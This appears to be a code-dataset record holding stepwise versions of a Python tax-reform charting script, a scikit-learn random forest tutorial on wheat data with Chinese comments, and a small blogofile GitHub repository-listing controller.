labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax1.axis('equal')\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax2.axis('equal')\nax1.set_title('Current Law', fontweight='bold')\nax2.set_title('Reform', fontweight='bold')\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\nplt.show()\n", "step-4": "<mask token>\nimport pandas as pd\nfrom taxcalc import *\nimport numpy as np\nfrom babel.numbers import format_currency\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\nSTART_YEAR = 2017\nEND_YEAR = 2023\nBASE_YEAR = 2019\nyear = START_YEAR\na = {}\nfor year in range(BASE_YEAR, END_YEAR + 1):\n filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'\n df1 = pd.read_fwf(filename1)\n df1.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df1.columns = col_list\n filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'\n df2 = pd.read_fwf(filename2)\n df2.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df2.columns = col_list\n a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')\n filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'\n df3 = pd.read_fwf(filename3)\n df3.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df3.columns = col_list\n a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')\n filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'\n df4 = pd.read_fwf(filename4)\n df4.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df4.columns = col_list\n a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')\ndf = a[BASE_YEAR]\nfor year in range(BASE_YEAR + 1, END_YEAR + 1):\n df = pd.merge(df, a[year], how='inner', on='Income_Bracket')\ndf.set_index('Income_Bracket', inplace=True)\ndf.to_csv('dist-table-all-years.csv', index=True)\ndf = pd.read_csv('dist-table-all-years.csv')\ndf.set_index('Income_Bracket', inplace=True)\ndf_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]\n ]\ndf_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]\n ]\nclp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()\nclp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list]\nclp_pitax_list = [round(elem, 0) for elem in clp_pitax_list]\nref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()\nref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list]\nref_pitax_list = [round(elem, 0) for elem in ref_pitax_list]\nyears = [x[-4:] for x in list(df_pit_totals_clp.columns)]\nplt.style.use('seaborn-whitegrid')\nfig = plt.figure()\n<mask token>\nplt.title('Estimated Tax Collection')\nplt.xlabel('Year')\nplt.ylabel('Tax Collection in lakh Cr.')\n<mask token>\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label\n ='Current Law', linewidth=2.0)\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',\n label='Reform', linewidth=2.0)\nplt.legend(loc='best')\nplt.savefig('Total_collection_PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_diff = df['pitax_diff_avg_ref_' + str(year)]\ndf_pitax_diff = df_pitax_diff[:-1]\ndf_pitax_diff = df_pitax_diff[2:]\ndf_pitax_diff = df_pitax_diff.reset_index()\npitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()\npitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist()\npitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list]\nplt.rcdefaults()\nfig, ax = plt.subplots(figsize=(8, 5))\nx_pos = np.arange(len(pitax_inc_brac_list))\nax.bar(x_pos, pitax_diff_list, color='green')\nax.set_xticks(x_pos)\nax.set_xticklabels(pitax_inc_brac_list)\nax.set_ylabel('Rupees')\nax.set_xlabel('Income Bracket')\nax.invert_yaxis()\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\nplt.savefig('Average Tax Burden Change.png')\nplt.show()\nyear = 2020\ndf_pitax_tot_clp = df['pitax_total_clp_' + str(year)]\ndf_pitax_tot_clp = df_pitax_tot_clp[:-1]\ndf_pitax_tot_clp = df_pitax_tot_clp[2:]\ndf_pitax_tot_clp = df_pitax_tot_clp.reset_index()\npitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()\npitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist()\npitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp]\npitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp]\nfig, ax = plt.subplots(figsize=(10, 10))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax.axis('equal')\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax.set_title('Current Law', fontsize=16, fontweight='bold')\nplt.savefig('Contribution to total PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_tot = df['pitax_total_ref_' + str(year)]\ndf_pitax_tot = df_pitax_tot[:-1]\ndf_pitax_tot = df_pitax_tot[2:]\ndf_pitax_tot = df_pitax_tot.reset_index()\npitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()\npitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist()\npitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list]\npitax_tot_list = [round(elem) for elem in pitax_tot_list]\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax1.axis('equal')\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax2.axis('equal')\nax1.set_title('Current Law', fontweight='bold')\nax2.set_title('Reform', fontweight='bold')\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\nplt.show()\n", "step-5": "\"\"\"\r\napp_dist_Tables00.py illustrates use of pitaxcalc-demo release 2.0.0\r\n(India version).\r\nUSAGE: python app_dist_Tables00.py\r\n\"\"\"\r\nimport pandas as pd\r\nfrom taxcalc import *\r\nimport numpy as np\r\nfrom babel.numbers import format_currency\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.gridspec import GridSpec\r\n\r\n \r\n# Generate Charts\r\n# first merge the files\r\nSTART_YEAR = 2017\r\nEND_YEAR = 2023\r\nBASE_YEAR = 2019\r\nyear = START_YEAR\r\na={}\r\nfor year in range(BASE_YEAR, END_YEAR+1):\r\n filename1='dist-table-all-clp-avg-'+str(year)+'.txt'\r\n df1 = pd.read_fwf(filename1) \r\n df1.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df1.columns = col_list\r\n filename2='dist-table-all-clp-total-'+str(year)+'.txt'\r\n df2 = pd.read_fwf(filename2) \r\n df2.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df2.columns = col_list\r\n a[year] = pd.merge(df1, df2, how=\"inner\", on=\"Income_Bracket\")\r\n filename3='dist-table-all-ref-avg-'+str(year)+'.txt'\r\n df3 = pd.read_fwf(filename3) \r\n df3.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df3.columns = col_list\r\n a[year] = pd.merge(a[year], df3, how=\"inner\", on=\"Income_Bracket\")\r\n filename4='dist-table-all-ref-total-'+str(year)+'.txt'\r\n df4 = pd.read_fwf(filename4) \r\n df4.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df4.columns = col_list\r\n a[year] = pd.merge(a[year], df4, how=\"inner\", on=\"Income_Bracket\")\r\n\r\ndf=a[BASE_YEAR]\r\nfor year in range(BASE_YEAR+1, END_YEAR+1):\r\n df = pd.merge(df, a[year], how=\"inner\", on=\"Income_Bracket\")\r\n\r\ndf.set_index('Income_Bracket', inplace=True)\r\n\r\ndf.to_csv('dist-table-all-years.csv', index=True)\r\n\r\ndf = pd.read_csv('dist-table-all-years.csv')\r\ndf.set_index('Income_Bracket', inplace=True)\r\ndf_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]]\r\ndf_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]]\r\nclp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()\r\nclp_pitax_list = [float(i.replace(',','')) for i in clp_pitax_list]\r\nclp_pitax_list = [round(elem, 0) for elem in clp_pitax_list ]\r\nref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()\r\nref_pitax_list = [float(i.replace(',','')) for i in ref_pitax_list]\r\nref_pitax_list = [round(elem, 0) for elem in ref_pitax_list ]\r\nyears = [x[-4:] for x in list(df_pit_totals_clp.columns)]\r\n\r\nplt.style.use('seaborn-whitegrid')\r\nfig = plt.figure()\r\n\"\"\"\r\nax = plt.axes()\r\nax.plot(x, np.sin(x))\r\nax.set(xlim=(0, 10), ylim=(-2, 2),\r\n xlabel='x', ylabel='sin(x)',\r\n title='A Simple Plot')\r\n\"\"\"\r\n#plt.axis([2017, 2021, 150000, 400000])\r\nplt.title(\"Estimated Tax Collection\")\r\nplt.xlabel(\"Year\")\r\nplt.ylabel(\"Tax Collection in lakh Cr.\");\r\n\"\"\"\r\nprint(year)\r\nprint(clp_pitax_list)\r\nprint(ref_pitax_list)\r\n\"\"\"\r\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label='Current Law', linewidth=2.0)\r\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r', label='Reform', linewidth=2.0)\r\nplt.legend(loc='best')\r\nplt.savefig('Total_collection_PIT.png')\r\nplt.show()\r\n\r\n# generating bar chart for difference in average tax burden due to reform \r\n# for 2020 - the first year of reform\r\nyear = 2020\r\ndf_pitax_diff = df['pitax_diff_avg_ref_'+str(year)]\r\ndf_pitax_diff = df_pitax_diff[:-1]\r\ndf_pitax_diff = df_pitax_diff[2:]\r\ndf_pitax_diff = df_pitax_diff.reset_index()\r\npitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()\r\npitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_'+str(year)].tolist()\r\n\r\npitax_diff_list = [float(i.replace(',','')) for i in pitax_diff_list]\r\n\r\nplt.rcdefaults()\r\n#plt.style.use('seaborn-whitegrid')\r\nfig, ax = plt.subplots(figsize=(8, 5))\r\n# Example data\r\nx_pos = np.arange(len(pitax_inc_brac_list))\r\nax.bar(x_pos, pitax_diff_list, \r\n color='green')\r\nax.set_xticks(x_pos)\r\nax.set_xticklabels(pitax_inc_brac_list)\r\n#ax.invert_yaxis() # labels read top-to-bottom\r\nax.set_ylabel('Rupees')\r\nax.set_xlabel('Income Bracket')\r\nax.invert_yaxis()\r\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\r\nplt.savefig('Average Tax Burden Change.png')\r\nplt.show()\r\n\r\n# generating pie chart for contribution of tax by different income groups \r\n# for 2020 - the first year of reform\r\n\r\nyear = 2020\r\ndf_pitax_tot_clp = df['pitax_total_clp_'+str(year)]\r\ndf_pitax_tot_clp = df_pitax_tot_clp[:-1]\r\ndf_pitax_tot_clp = df_pitax_tot_clp[2:]\r\ndf_pitax_tot_clp = df_pitax_tot_clp.reset_index()\r\npitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()\r\npitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_'+str(year)].tolist()\r\npitax_tot_list_clp = [float(i.replace(',','')) for i in pitax_tot_list_clp]\r\npitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp ]\r\n\r\nfig, ax = plt.subplots(figsize=(10, 10))\r\n# only \"explode\" the 5th slice (contributing to max revenue)\r\nexplode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0) \r\n\r\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%',\r\n shadow=False, startangle=90)\r\nax.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\r\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight=\"bold\")\r\nax.set_title('Current Law', fontsize=16, fontweight=\"bold\")\r\nplt.savefig('Contribution to total PIT.png')\r\nplt.show()\r\n\r\n# generating pie chart for comparing contribution of tax by \r\n# different income groups for clp and reform for 2020 - the first year of reform\r\n\r\n\r\n\r\nyear = 2020\r\ndf_pitax_tot = df['pitax_total_ref_'+str(year)]\r\ndf_pitax_tot = df_pitax_tot[:-1]\r\ndf_pitax_tot = df_pitax_tot[2:]\r\ndf_pitax_tot = df_pitax_tot.reset_index()\r\npitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()\r\npitax_tot_list = df_pitax_tot['pitax_total_ref_'+str(year)].tolist()\r\npitax_tot_list = [float(i.replace(',','')) for i in pitax_tot_list]\r\npitax_tot_list = [round(elem) for elem in pitax_tot_list ]\r\n\r\n\r\nfig, (ax1, ax2) = plt.subplots(1,2, figsize=(10, 5))\r\n#fig, ax = plt.subplots(figsize=(10, 5))\r\n#the_grid = GridSpec(2, 2)\r\n\r\n# only \"explode\" the 5th slice (contributing to max revenue)\r\nexplode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0) \r\n\r\n#plt.subplot(the_grid[1, 0], aspect=1)\r\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight=\"bold\")\r\nax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%',\r\n shadow=False, startangle=90)\r\nax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\r\n\r\n#plt.subplot(the_grid[0, 1], aspect=1)\r\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list, autopct='%1.1f%%',\r\n shadow=False, startangle=90)\r\nax2.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\r\nax1.set_title('Current Law', fontweight=\"bold\")\r\nax2.set_title('Reform', fontweight=\"bold\")\r\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(data.head(6)) <|reserved_special_token_0|> print(data) <|reserved_special_token_0|> print(X_train.shape) print(y_train.shape) print(X_test.shape) print(y_test.shape) <|reserved_special_token_0|> model.fit(X_train, y_train) <|reserved_special_token_0|> print("""Predictions of test set: %s""" % y_pred) print(model.feature_importances_) print(model.score(X_test, y_test)) <|reserved_special_token_0|> model.fit(X_train, y_train) print(model.score(X_test, y_test)) <|reserved_special_token_0|> print(clf.score(X_test, y_test)) <|reserved_special_token_0|> model.fit(X_train, y_train) print(model.score(X_test, y_test)) <|reserved_special_token_1|> <|reserved_special_token_0|> data = pd.read_csv('wheat.csv', index_col=0) print(data.head(6)) data = data.fillna(data.mean()) print(data) <|reserved_special_token_0|> X = data.iloc[:, :7] y = data.iloc[:, 7] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=300) print(X_train.shape) print(y_train.shape) print(X_test.shape) print(y_test.shape) <|reserved_special_token_0|> model = RandomForestClassifier(n_estimators=10) model.fit(X_train, y_train) y_pred = model.predict(X_test) print("""Predictions of test set: %s""" % y_pred) print(model.feature_importances_) print(model.score(X_test, y_test)) model = RandomForestClassifier(n_estimators=30) model.fit(X_train, y_train) print(model.score(X_test, y_test)) <|reserved_special_token_0|> clf = tree.DecisionTreeClassifier() clf = clf.fit(X_train, y_train) print(clf.score(X_test, y_test)) model = RandomForestClassifier(n_estimators=1) model.fit(X_train, y_train) print(model.score(X_test, y_test)) <|reserved_special_token_1|> import pandas as pd data = pd.read_csv('wheat.csv', index_col=0) print(data.head(6)) data = data.fillna(data.mean()) print(data) from sklearn.model_selection import train_test_split X = data.iloc[:, :7] y = data.iloc[:, 7] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=300) print(X_train.shape) print(y_train.shape) print(X_test.shape) print(y_test.shape) from sklearn.ensemble import RandomForestClassifier model = RandomForestClassifier(n_estimators=10) model.fit(X_train, y_train) y_pred = model.predict(X_test) print("""Predictions of test set: %s""" % y_pred) print(model.feature_importances_) print(model.score(X_test, y_test)) model = RandomForestClassifier(n_estimators=30) model.fit(X_train, y_train) print(model.score(X_test, y_test)) from sklearn import tree clf = tree.DecisionTreeClassifier() clf = clf.fit(X_train, y_train) print(clf.score(X_test, y_test)) model = RandomForestClassifier(n_estimators=1) model.fit(X_train, y_train) print(model.score(X_test, y_test)) <|reserved_special_token_1|> import pandas as pd #1. 读入数据 #从本地读入“wheat.csv”文件,指定index_col参数为00,即将第一列作为每行的索引。用head()函数查看前几行数据。 data = pd.read_csv("wheat.csv",index_col=0) print(data.head(6)) #2. 缺失值处理 #该数据集中包含部分缺失值,在模型训练时会遇到特征值为空的问题,故对缺失值进行处理, ## 用DataFrame的fillna方法进行缺失值填充,填充值为用mean方法得到的该列平均值。 data = data.fillna(data.mean()) print(data) #3. 划分数据集从sklearn.model_selection模块导入train_test_split函数, # 并将返回值放入变量X_train、X_test、y_train和y_test之中,指定参数test_size=0.3, # 即将70%的数据样本作为训练集,将30%的数据样本作为测试集。输出训练集和测试集大小。 from sklearn.model_selection import train_test_split X = data.iloc[:,:7] y = data.iloc[:,7] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=300) print(X_train.shape) print(y_train.shape) print(X_test.shape) print(y_test.shape) #4.构建随机森林模型并训练 #从sklearn.ensemble模块中导入RandomForestClassifier函数, ## 并用其构建随机森林分类模型,指定n_estimators参数为1010, # 即使用1010棵决策树构建模型。将训练集传入模型进行模型训练。 from sklearn.ensemble import RandomForestClassifier model= RandomForestClassifier(n_estimators=10) model.fit(X_train, y_train) #5.利用随机森林模型预测分类 #运用predict方法预测测试集中样本的分类,该方法返回一个预测结果数组,输出预测的分类结果。 y_pred = model.predict(X_test) print("Predictions of test set:\n%s"%y_pred) #6. 查看各特征重要性 #用feature_importances_属性查看每个特征的重要性,相对而言第11、22、55、77个特征在随机森林分类中的重要性强一些。 print(model.feature_importances_) #7. 评估模型准确率 #利用score方法计算模型在测试集上的预测准确率。 print(model.score(X_test,y_test)) #8. 调整随机森林中的树木数量 #随机森林中的数目数量是模型中较为重要的参数, #通过指定n_estimators参数进行设置,设置为30时模型的性能较10时有所提升, #但设置为100时,其准确度不但没有提升已不明显,甚至可能下降,可能已经过拟合。 model= RandomForestClassifier(n_estimators=30) model.fit(X_train, y_train) print(model.score(X_test,y_test)) #9. 与决策树分类进行比较 #决策树与随机森林在分类效果上进行比较, # 决策树模型的分类准确率与仅含单棵决策树的随机森林类似, # 但是总体上随机森林的准确度要高于决策树,但其模型的解释性较差,无法轻易得到树的基本结构。 from sklearn import tree clf = tree.DecisionTreeClassifier() clf = clf.fit(X_train, y_train) print(clf.score(X_test,y_test)) model= RandomForestClassifier(n_estimators=1) model.fit(X_train, y_train) print(model.score(X_test,y_test))
flexible
{ "blob_id": "7da2be1b530faa8ce9a8570247887e8e0d74c310", "index": 711, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(data.head(6))\n<mask token>\nprint(data)\n<mask token>\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n<mask token>\nmodel.fit(X_train, y_train)\n<mask token>\nprint(\"\"\"Predictions of test set:\n%s\"\"\" % y_pred)\nprint(model.feature_importances_)\nprint(model.score(X_test, y_test))\n<mask token>\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n<mask token>\nprint(clf.score(X_test, y_test))\n<mask token>\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n", "step-3": "<mask token>\ndata = pd.read_csv('wheat.csv', index_col=0)\nprint(data.head(6))\ndata = data.fillna(data.mean())\nprint(data)\n<mask token>\nX = data.iloc[:, :7]\ny = data.iloc[:, 7]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,\n random_state=300)\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n<mask token>\nmodel = RandomForestClassifier(n_estimators=10)\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\nprint(\"\"\"Predictions of test set:\n%s\"\"\" % y_pred)\nprint(model.feature_importances_)\nprint(model.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=30)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n<mask token>\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train, y_train)\nprint(clf.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=1)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n", "step-4": "import pandas as pd\ndata = pd.read_csv('wheat.csv', index_col=0)\nprint(data.head(6))\ndata = data.fillna(data.mean())\nprint(data)\nfrom sklearn.model_selection import train_test_split\nX = data.iloc[:, :7]\ny = data.iloc[:, 7]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,\n random_state=300)\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\nfrom sklearn.ensemble import RandomForestClassifier\nmodel = RandomForestClassifier(n_estimators=10)\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\nprint(\"\"\"Predictions of test set:\n%s\"\"\" % y_pred)\nprint(model.feature_importances_)\nprint(model.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=30)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\nfrom sklearn import tree\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train, y_train)\nprint(clf.score(X_test, y_test))\nmodel = RandomForestClassifier(n_estimators=1)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test, y_test))\n", "step-5": "import pandas as pd\n#1. 读入数据\n#从本地读入“wheat.csv”文件,指定index_col参数为00,即将第一列作为每行的索引。用head()函数查看前几行数据。\ndata = pd.read_csv(\"wheat.csv\",index_col=0)\nprint(data.head(6))\n\n#2. 缺失值处理\n#该数据集中包含部分缺失值,在模型训练时会遇到特征值为空的问题,故对缺失值进行处理,\n## 用DataFrame的fillna方法进行缺失值填充,填充值为用mean方法得到的该列平均值。\ndata = data.fillna(data.mean())\nprint(data)\n\n\n#3. 划分数据集从sklearn.model_selection模块导入train_test_split函数,\n# 并将返回值放入变量X_train、X_test、y_train和y_test之中,指定参数test_size=0.3,\n# 即将70%的数据样本作为训练集,将30%的数据样本作为测试集。输出训练集和测试集大小。\nfrom sklearn.model_selection import train_test_split\nX = data.iloc[:,:7]\ny = data.iloc[:,7]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=300)\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n\n#4.构建随机森林模型并训练\n#从sklearn.ensemble模块中导入RandomForestClassifier函数,\n## 并用其构建随机森林分类模型,指定n_estimators参数为1010,\n# 即使用1010棵决策树构建模型。将训练集传入模型进行模型训练。\nfrom sklearn.ensemble import RandomForestClassifier\nmodel= RandomForestClassifier(n_estimators=10)\nmodel.fit(X_train, y_train)\n\n#5.利用随机森林模型预测分类\n#运用predict方法预测测试集中样本的分类,该方法返回一个预测结果数组,输出预测的分类结果。\ny_pred = model.predict(X_test)\nprint(\"Predictions of test set:\\n%s\"%y_pred)\n\n#6. 查看各特征重要性\n#用feature_importances_属性查看每个特征的重要性,相对而言第11、22、55、77个特征在随机森林分类中的重要性强一些。\nprint(model.feature_importances_)\n\n#7. 评估模型准确率\n#利用score方法计算模型在测试集上的预测准确率。\nprint(model.score(X_test,y_test))\n\n#8. 调整随机森林中的树木数量\n#随机森林中的数目数量是模型中较为重要的参数,\n#通过指定n_estimators参数进行设置,设置为30时模型的性能较10时有所提升,\n#但设置为100时,其准确度不但没有提升已不明显,甚至可能下降,可能已经过拟合。\nmodel= RandomForestClassifier(n_estimators=30)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test,y_test))\n\n#9. 与决策树分类进行比较\n#决策树与随机森林在分类效果上进行比较,\n# 决策树模型的分类准确率与仅含单棵决策树的随机森林类似,\n# 但是总体上随机森林的准确度要高于决策树,但其模型的解释性较差,无法轻易得到树的基本结构。\nfrom sklearn import tree\nclf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train, y_train)\nprint(clf.score(X_test,y_test))\n\nmodel= RandomForestClassifier(n_estimators=1)\nmodel.fit(X_train, y_train)\nprint(model.score(X_test,y_test))", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> if (sum(prices) - prices[k]) // 2 == taken: print('Bon Appetit') else: print(taken - (sum(prices) - prices[k]) // 2) <|reserved_special_token_1|> n, k = map(int, input().split()) prices = [int(temp) for temp in input().split()] taken = int(input()) if (sum(prices) - prices[k]) // 2 == taken: print('Bon Appetit') else: print(taken - (sum(prices) - prices[k]) // 2) <|reserved_special_token_1|> # https://www.hackerrank.com/challenges/bon-appetit n, k = map(int, input().split()) prices = [int(temp) for temp in input().split()] taken = int(input()) if (sum(prices) - prices[k]) // 2 == taken: print("Bon Appetit") else: print(taken - (sum(prices) - prices[k])// 2)
flexible
{ "blob_id": "aa15f684d23d97a45a416b1fdcfb192710ebb56f", "index": 2151, "step-1": "<mask token>\n", "step-2": "<mask token>\nif (sum(prices) - prices[k]) // 2 == taken:\n print('Bon Appetit')\nelse:\n print(taken - (sum(prices) - prices[k]) // 2)\n", "step-3": "n, k = map(int, input().split())\nprices = [int(temp) for temp in input().split()]\ntaken = int(input())\nif (sum(prices) - prices[k]) // 2 == taken:\n print('Bon Appetit')\nelse:\n print(taken - (sum(prices) - prices[k]) // 2)\n", "step-4": "# https://www.hackerrank.com/challenges/bon-appetit\n\nn, k = map(int, input().split())\nprices = [int(temp) for temp in input().split()]\ntaken = int(input())\nif (sum(prices) - prices[k]) // 2 == taken:\n print(\"Bon Appetit\")\nelse:\n print(taken - (sum(prices) - prices[k])// 2)\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> class Solution: <|reserved_special_token_0|> <|reserved_special_token_1|> class Solution: def maximumTime(self, time: str) ->str: ans = '' for i in range(5): if time[i] != '?': ans += time[i] continue if i == 0: if time[1] in ['0', '1', '2', '3', '?']: ans += '2' else: ans += '1' elif i == 1: if ans[0] == '1' or ans[0] == '0': ans += '9' else: ans += '3' elif i == 3: ans += '5' elif i == 4: ans += '9' return ans
flexible
{ "blob_id": "e7494104ab98df2b640f710fa69584802b3e1259", "index": 3032, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def maximumTime(self, time: str) ->str:\n ans = ''\n for i in range(5):\n if time[i] != '?':\n ans += time[i]\n continue\n if i == 0:\n if time[1] in ['0', '1', '2', '3', '?']:\n ans += '2'\n else:\n ans += '1'\n elif i == 1:\n if ans[0] == '1' or ans[0] == '0':\n ans += '9'\n else:\n ans += '3'\n elif i == 3:\n ans += '5'\n elif i == 4:\n ans += '9'\n return ans\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
import logging from blogofile.cache import bf github = bf.config.controllers.github from github2.client import Github github_api = Github() config = { "name": "Github", "description": "Makes a nice github project listing for the sidebar", "priority": 95.0, } def get_list(user): """ Each item in the list has: name, url, description, forks, watchers, homepage, open_issues """ return [g for g in github_api.repos.list(user) if not g.fork] def run(): github.logger = logging.getLogger(config['name']) github.repo_list = get_list(github.user) github.full_repo_list = github_api.repos.list(github.user)
normal
